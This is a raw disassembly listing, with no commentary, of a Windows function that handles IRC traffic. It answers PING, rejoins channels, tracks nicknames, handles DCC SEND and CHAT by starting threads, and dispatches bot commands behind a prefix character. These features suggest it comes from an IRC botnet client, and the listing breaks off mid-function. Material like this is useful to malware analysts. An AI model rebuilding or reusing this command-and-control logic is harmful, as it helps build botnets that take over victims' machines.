var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_4387B8 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh

loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93

loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi

loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_4387B4 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h

loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------

loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D1
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D1
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------

loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	ds:dword_489DC0
		push	ds:dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415CFF
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch

loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h

loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1

loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h

loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F236:				; CODE XREF: sub_40EE72+57D6j
					; sub_40EE72+57F3j ...
		add	esp, 10h

loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1

loc_40F23B:				; CODE XREF: sub_40EE72+5CE9j
		pop	eax

loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h

loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C

loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0

loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E

loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE

loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_4386DC

loc_40F422:				; CODE XREF: sub_40EE72+5B45j
					; sub_40EE72+5E94j ...
		call	sub_40BFE1
		pop	ecx

loc_40F428:				; CODE XREF: sub_40EE72+5FA9j
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4386AC
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45
		cmp	ds:dword_42F5B8, ebx
		jz	loc_414F45

loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi

loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4386A0
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_3 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172AE
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43865C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	loc_40F7EF

loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_40F659
; ---------------------------------------------------------------------------

loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1

loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB

loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax

loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------

loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]

loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_438650
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, ds:dword_489DD0
		mov	eax, ds:off_42F6CC[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_438634
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_489CDC

loc_40F7A0:				; CODE XREF: sub_40EE72+58BFj
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_438610
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_4385F8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------

loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4385B0
		jmp	loc_40F95B
; ---------------------------------------------------------------------------

loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_438560

loc_40F813:				; CODE XREF: sub_40EE72+6175j
					; sub_40EE72+61DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 10h

loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_4172AE
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438528
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_40F933

loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------

loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4384E4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4384A4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------

loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438464

loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239

loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_1 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4D
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4D
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45

loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F45
		xor	edi, edi
		cmp	ds:dword_4313B4, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_444340

loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
